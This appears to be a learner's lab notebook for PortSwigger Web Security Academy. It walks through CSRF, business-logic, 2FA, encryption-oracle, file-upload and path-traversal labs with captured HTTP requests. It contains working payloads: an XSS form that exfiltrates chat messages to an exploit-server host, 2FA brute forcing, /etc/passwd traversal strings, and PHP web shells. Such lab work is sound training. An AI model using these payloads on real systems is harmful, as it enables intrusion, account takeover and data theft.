WTF. The sibling domain is https://cms-0a5b001b0326112a80831cfe002600b7.web-security-academy.net/login. So adding a “cms-“. I would have never figured this out. I took a hint from a writeup. Need to work on my website enumeration skills. Now in the username I can put <script>alert()</script> and when I login, JS gets executed.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://cms-0a5b001b0326112a80831cfe002600b7.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script> var ws = new WebSocket('wss://0a5b001b0326112a80831cfe002600b7.web-security-academy.net/chat'); ws.addEventListener('open', (event) => { ws.send('READY'); }); ws.onmessage = function(event) { fetch('https://exploit-0a5500b6035d111280341bdf019c0036.exploit-server.net/exploit/'+event.data, { method: 'POST', }); }; </script>
" />
<input type="hidden" name="password" value="a" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: SameSite Lax bypass via cookie refresh
Simply send this request to the victim twice, you will solve the lab. The first time, the user will be prompted to the oauth page, then they will get redirected to the home page. Once you send it again, the email will change because the cookie is set even though its cross site because the SameSite=Lax.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ad200700492873481776b8d002200f7.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="345354@iajsiodjoisajiodi" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Reading the solution, there is another way we can solve this lab.
<form action="https://0a4f002c049623a7809503e300ac005b.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="69@89102" />
</form>
<script>
window.onclick = () => {
window.open('https://0a4f002c049623a7809503e300ac005b.web-security-academy.net/my-account');
setTimeout(function() {
document.forms[0].submit();
}, 5000);
};
</script>
What you do is first send the user to oauth, then wait 5 seconds, then send the POST request to change their email.
Business logic vulnerabilities
Lab: Excessive trust in client-side controls
Too easy. Just intercept the add to cart request and change the price to 1, which is 1 cent. Buy and done.
Lab: 2FA broken logic
GET /login2 HTTP/2
Host: 0a630049030ede4080956c8400ff0006.web-security-academy.net
Cookie: verify=carlos; session=GJXYr1xotlMFETEYhhWXJh81CFg5HDMs
Pragma: no-cache
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://0a630049030ede4080956c8400ff0006.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Sending a GET to this login2 endpoint causes a 2fa email to be sent to the user specified after verify= in the cookie. So I change it to wiener, I get an email, carlos carlos gets an email. Now what you do is simply login as yourself and send a 2fa code to carlos, then brute force the 2fa code, which is only 4 digits 0-9, 10000 combinations. The bad logic is the login2 endpoint doesn’t communicate with the login endpoint, which means as long as I pass login2, I can use any credential for login and login to the account specified in login2.
POST /login2 HTTP/2
Host: 0a630049030ede4080956c8400ff0006.web-security-academy.net
Cookie: verify=wiener; session=GJXYr1xotlMFETEYhhWXJh81CFg5HDMs
Content-Length: 13
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a630049030ede4080956c8400ff0006.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a630049030ede4080956c8400ff0006.web-security-academy.net/login2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
mfa-code=1901
Sending a post request with the mfa-code allows us to brute force the code. I used burp intruder on the carlos token. It took 3000 requests, but eventually I got it. You login as yourself, put the code for Carlos, intercept the request, change the cookie to carlos, and boom you are logged in as Carlos.
Lab: High-level logic vulnerability
Easy. Just buy 1 leather jacket, then -16 Com-Tool. Use Repeater to make life easier. Ensure that cart balance is >0 or it will fail.
Lab: Low-level logic flaw
Used Burp intruder to continuously send requests. Now if you add too many items, the price will overflow, so we count on this so the price is between 0-100. In my case I bought 353363 leather jackets and 7 Packaway Carports for a total price of 1.94. NICE!
Lab: Inconsistent handling of exceptional input
Basically you need to create an email that is exactly 255 characters before your @exploit… address like so:
fffdgdfgdfgdfffsodaisodaisodaisodaisodaisodaisodaisodaisodaisodaasdasdasdasdasdasdasasddsadasdasdasdasdasdasasdasdasdasdasdsisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodsdontwannacry.com@exploit-0a4b009d042ffadc80f5b65e01e000d1.exploit-server.net
The part before is exactly 255 characters. Why because the registration actually truncates everything past 255 characters, even though the email you are sent contains everything you specified. I don’t think there is a limit, so my inbox was full of thousands of lines of emails because I put in a very long email address. Now the validation only cares if the ending is dontwannacry.com. I spent a lot of time trying to encode 2 @ symbols, but that was a waste of time. As long as your email ended in dontwannacry.com, you had a tab for admin access. You click it and can delete Carlos’s account and all your other accounts you spent hours making…
Lab: Inconsistent security controls
Bruh. This one you make an account, verify it with your own email, then change your email without verification to anything ending with @dontwannacry.com, lab solved.
Lab: Weak isolation on dual-use endpoint
When you change the password, you can also specify the username. Simply use administrator as username, anything for current and passwords, submit and you should get this request:
POST /my-account/change-password HTTP/2
Host: 0a040028045d77ad8063218b00fb00e5.web-security-academy.net
Cookie: session=iVmVOOUmpaG3IHbgwtdxJKDCzHIy5otH
Content-Length: 106
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a040028045d77ad8063218b00fb00e5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a040028045d77ad8063218b00fb00e5.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=4acR331wyDy76l88Wyp24cce5giOnQT5&username=wiener¤t-password=a&new-password-1=a&new-password-2=a
Simply remove the ¤t-password=a entirely. This will allow you to set the password for any user. Change the password for administrator, login and delete Carlos.
Lab: Password reset broken logic
POST /forgot-password?temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774 HTTP/2
Host: 0a8f00b904e9d5d28045269f00be0079.web-security-academy.net
Cookie: session=8I60T12aZLgNiq0rQMCbkvOIpwExmw8Y
Content-Length: 109
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a8f00b904e9d5d28045269f00be0079.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8f00b904e9d5d28045269f00be0079.web-security-academy.net/forgot-password?temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774&username=carlos&new-password-1=a&new-password-2=a
Invoke a password reset for your own account, when you click the link, change the username field in the request to carlos, submit that request and you can login as carlos with that updated password.
Lab: 2FA simple bypass
Login as victim, drop all requests to GET /login2 HTTP/2 to prevent user from receiving any 2fa emails. Right after you drop the request, manually navigate to /my-account. Boom you bypassed 2fa, very simple.
Lab: Insufficient workflow validation
I first bought the cheapest item to look over the network traffic. It always ends with a request to a order confirmation page: GET /cart/order-confirmation?order-confirmed=true HTTP/2. So with this request saved in Burp repeater, we can then add any item to cart, send this request, and we bought it for free. Nice!
Lab: Authentication bypass via flawed state machine
I remember reading a Burp research paper about this. Basically you were considered by default admin until you selected your role. You can see this in the request right after you login. There is a request to GET /role-selector HTTP/2. You can drop this request and go directly to /my-account. You will notice you have an Admin panel tab. Click it, delete Carlos, and you are done.
Lab: Flawed enforcement of business rules
This one actually took me some time lol. You need to signup for the newsletter, all the way at the bottom of the page. This gives you another coupon code to use. When you apply this coupon, you can then apply the 5$ off coupon. Once you do that, it resets, so you can apply the 30% off coupon again, rinse and repeat. That is the business logic vulnerability, apply a different coupon and it resets some flag, which will allow you to apply the previous coupon again. This will eventually get the balance down to 0$, buy, and done.
Lab: Infinite money logic flaw
I immediately scrolled down and signed up for the newsletter. This gave me the same coupon as before: SIGNUP30. I also noticed a gift card for 10 dollars. If I put 1 giftcard in my cart, apply the coupon, pay, then redeem it, I get 3 dollars for free!! Ok so lets automate this so I don’t have to spend hours making these requests.
In Burp I created a macro in the following order:
- POST /cart
- POST /cart/coupon
- POST /cart/checkout
- GET /cart/order-confirmation?order-confirmed=true
- POSt /gift-card
We first add the gift card to the cart, apply the coupon, checkout, then fetch the gift card code using the GET request. We can also follow the redirect, but im too lazy. In the macro custom response, make the name gift-card, so subsequent requests can reference it. Finally, we redeem with a post request to /gift-card endpoint. Make sure the scope is set to everything. This means any request made with repeater, intruder etc will execute the macro.
Forward any random request to Burp intruder, select a null payload, and repeat that request 500 times. Wait 5 minutes and watch your balance increase. When it reaches 1000, you can actually stop, add the jacket to cart, apply the 30% off coupon, buy, and complete the lab. Very nice!
Lab: Authentication bypass via encryption oracle
This one was very challenging. Had to take a hint from a writeup, but still learned a lot. First, I was observing all the requests and responses. I logged in as wiener, ticked the “Stay logged in” button(IMPORTANT), posted a comment, but nothing stood out. I was expecting some encrypted response or something from the server, but nothing. Then I was submitting a comment and noticed that if I modify the request after submission, it triggered a set-cookie.
POST /post/comment HTTP/2
Host: 0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net
Cookie: stay-logged-in=jDuCI3CsMfKMZJmP4IU34e6ArsWv6CS02ABLBAwr6gY%3d; session=Nw1LTQLlL7UhYWyUBGQ7CqtFGLLZd4RY
Content-Length: 123
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=EleG71rPiWvqTTYsPOkzL0uxwuIPPQ7B&postId=4&comment=oisajdoioisad&name=oasjdisad&email=iajsoidoiaoisjdoisajd&website=
Removing the %40 as URL encoded @ symbol and sending, I get this response:
HTTP/2 302 Found
Location: /post?postId=4
Set-Cookie: notification=7jvrtCe3DWMwTPqybSaIgovDVDuSTT%2bkQZX6AhQ5Rxm7PCUPvmJOne%2f7jcpjR4zn; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
This notification=7jvrtCe3DWMwTPqybSaIgovDVDuSTT%2bkQZX6AhQ5Rxm7PCUPvmJOne%2f7jcpjR4zn was very interesting. Lets see what happens if we set the cookie and do a GET request to /post?postId=4 endpoint. Scrolling down a bit in the response I see this:
<header class="notification-header">
Invalid email address: iajsoidoiaoisjdoisajd </header>
What if we change the notification cookie by deleting one character? Well:
<h4>Internal Server Error</h4>
<p class=is-warning>Input length must be multiple of 16 when decrypting with padded cipher</p>
Good to know. It seems like that notification cookie is our encryption oracle. So sending a GET request to the /post?postId=4 endpoint decrypts the notification cookie and sending POST request with invalid email to the /post/comment endpoint encrypts data to the notification cookie. If we put the stay-logged-in value as the notification cookie, the decrypted response is:
<header class="notification-header">
wiener:1757016025489 </header>
Nice! Lets try to make a stay-logged-in cookie that decrypts to administrator:timestamp. I send the POST comment request with administrator:1757016025489 as the email payload, which provides 7jvrtCe3DWMwTPqybSaIgi37eng1rTpjThhHbLFQMccrtiWSYoLO04t6Mia41eu5oZ7ekoixiP6kIviqiAMstQ%3d%3d as the notification cookie. Decrypting we get:
<header class="notification-header">
Invalid email address: administrator:1757016025489 </header>
Good, so now we just need to remove the Invalid email address: part and all leading and trailing spaces. There looks like 23 bytes makes the Invalid email address: part, including whitespace. I counted each character and whitespace as a byte. Now remember the earlier error we got when we removed one character from the ciphertext? Input length must be multiple of 16 when decrypting with padded cipher. 23 is not a multiple of 16, so we must pad it with 9 bytes of data to make 32 bytes. We can do this by simply appending 9 characters in front of our “email” like this: xxxxxxxxxadministrator:1757016025489. When this payload gets encrypted, we can delete the first 32 bytes of data, which should give administrator:1757016025489 decrypted output.
Encrypting gives ciphertext: 7jvrtCe3DWMwTPqybSaIgsFHbHgMlqjCV68%2btaq2mp7blkzhlZVqeUSz3z6zwAhcgQUpFRroiyxm27TEnxzSHA%3d%3d. Now we can use Burp decoder to parse this. First URL decode, then observe it is actually base64 data, so base64 decode. Delete the first 32 bytes of data, then base64 encode, finally url encode. This gives ciphertext: %32%35%5a%4d%34%5a%57%56%61%6e%6c%45%73%39%38%2b%73%38%41%49%58%49%45%46%4b%52%55%61%36%49%73%73%5a%74%75%30%78%4a%38%63%30%68%77%3d. Send this as the notification cookie in the GET request to decrypt it. Observe:
<header class="notification-header">
administrator:1757016025489 </header>
Perfect! We have the correct payload to use in our stay-logged-in cookie. Using Burp repeater, set this cookie as the ciphertext. Delete all other cookies. The response should provide a new session cookie. Copy this and go to developer options->Application->Cookies in Chromium.
Cookie: stay-logged-in=%32%35%5a%4d%34%...;
session=8fkvLK7NiAFwU9vOow2qRuPTjBhB1w7g
Set the stay-logged-in cookie to the ciphertext made by Burp decoder. The session cookie should be changed to the one returned by the server after you sent the GET request. Upon refreshing the page, observe you are logged out and a Admin panel tab is now visible. Click on it, delete user carlos, done!!
File upload vulnerabilities
Lab: Remote code execution via web shell upload
POST /my-account/avatar HTTP/2
Host: 0a9600fa0377503280b4fddf00a900e9.web-security-academy.net
Cookie: session=LOlsTNu2z1BPhcl0y461krDOKRDfeiel
Content-Length: 478
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a9600fa0377503280b4fddf00a900e9.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBBHMdWxeJlXLZccP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9600fa0377503280b4fddf00a900e9.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="avatar"; filename="asoij.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="csrf"
KKSFoltenG7RL0KlN56Oh1kU1PyG2yUI
------WebKitFormBoundaryBBHMdWxeJlXLZccP--
Upload filename="asoij.php" as a avatar and visit that by going to /files/avatars/asoij.php. You should get a token, submit that and lab solved.
Lab: Web shell upload via Content-Type restriction bypass
POST /my-account/avatar HTTP/2
Host: 0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net
Cookie: session=DywdOYT1IgPeqrtfWhzyR0GQRAwFOmK6
Content-Length: 471
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefr9D90cNcWYTcTW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="avatar"; filename="asjdjasiodjo.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="csrf"
NlvVjldfXrDCDqxEAH0unuBhDuWXrnTa
------WebKitFormBoundaryefr9D90cNcWYTcTW--
This one is too easy, just change the Content-Type to image/jpeg.
Lab: File path traversal, simple case
GET /image?filename=../../../etc/passwd HTTP/2
Host: 0a6e00d1042146b98040a442001d00fa.web-security-academy.net
Cookie: session=Zn7rovOWRS5KungPoXT1MP22DsdsrL2q
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a6e00d1042146b98040a442001d00fa.web-security-academy.net/resources/labheader/css/academyLabHeader.css
Accept-Encoding: gzip, deflate, br
Priority: i
Lab: File path traversal, traversal sequences blocked with absolute path bypass
This shouldn’t be PRACTITIONER lol.
GET /image?filename=/etc/passwd HTTP/2
Host: 0a74007503f07c5f8065ee68003f00b2.web-security-academy.net
Cookie: session=euOnvB308Xp0nNdFpnys6cuwPKccuMoi
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lab: File path traversal, traversal sequences stripped non-recursively
You can use nested traversal sequences to bypass restrictions. The ....// gets parsed to ../, just duplicate each character.
GET /image?filename=....//....//....//etc/passwd HTTP/2
Host: 0a8800370469f97380e53afc00b400d4.web-security-academy.net
Cookie: session=hIJrz57kFp4oW2NRmAjGDtiNTYSNjA30
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8800370469f97380e53afc00b400d4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
For this one we double URL encode our payload. I used Burp intruder, Fuzzing - Path Traversal payload. %2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd. This is actually double URL encoded of ../../../../../../../../../../../../etc/passwd.
GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/2
Host: 0a0b005504b0a514845ad23000dc002b.web-security-academy.net
Cookie: session=S7ql1JeUtkbMOAaWwQa94cu6ZhsCFxJT
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0b005504b0a514845ad23000dc002b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lab: File path traversal, validation of start of path
GET /image?filename=/var/www/images/../../../etc/passwd HTTP/2
Host: 0a8200f6039636568422dbd300580017.web-security-academy.net
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lab: File path traversal, validation of file extension with null byte bypass
Interesting. %00 is a null byte, so it terminates the string.
GET /image?filename=../../../etc/passwd%00.jpg HTTP/2
Host: 0ab500f704d7d3238263b14100000074.web-security-academy.net
Cookie: session=nY8co3V6v57VDHp52SA35otOmTgrrwGZ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lab: Web shell upload via path traversal
This was was a bit tricky, but I eventually got it. The trick is to URL encode ONCE your path traversal payload. Observe that we can’t execute anything inside /files/avatars/ directory. If we are able to upload our web shell to /files we are golden. In the payload below, the filename is url encoded ONCE from ../a.php. When the server executes this, the file gets uploaded one directory lower, success.
POST /my-account/avatar HTTP/2
Host: 0a2400780490f2e881c8d49b0016008b.web-security-academy.net
Cookie: session=7BMSHmIcDDE5PC9ZjWFE3wi933wXmPQq
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a2400780490f2e881c8d49b0016008b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybUOhKcCdXMEAK8Ls
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2400780490f2e881c8d49b0016008b.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2f%61%2e%70%68%70"
Content-Type: application/octet-stream
<?php echo system($_GET['command']); ?>
------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="csrf"
hjam2DdIHHhIVp6CJx69rmGQNRUGiFkc
------WebKitFormBoundarybUOhKcCdXMEAK8Ls--
We can then call the web shell using GET request to /files/a.php?command=cat%20%2fhome%2fcarlos%2fsecret endpoint. You can see I urlencoded the command, which is cat /home/carlos/secret. The server returned: gkh1X5X5GVLhWG3pqneDe3c44VMMMBZKgkh1X5X5GVLhWG3pqneDe3c44VMMMBZK. It seems like either the file is a duplicate or my command gets executed twice. You see the secret is basically appending ontop of each other. kh1X5X5GVLhWG3pqneDe3c44VMMMBZK is the actual secret. I spent 10 minutes submitting the entire request, trying to figure out why its not working lol.
Lab: Web shell upload via extension blacklist bypass
First we can upload .htaccess file to server path. We know the target runs apache server. Reading the documentation, we can map any extension to a type like so AddType application/x-httpd-php .php5. Now all .php5 files in that directory will be parsed like a php.
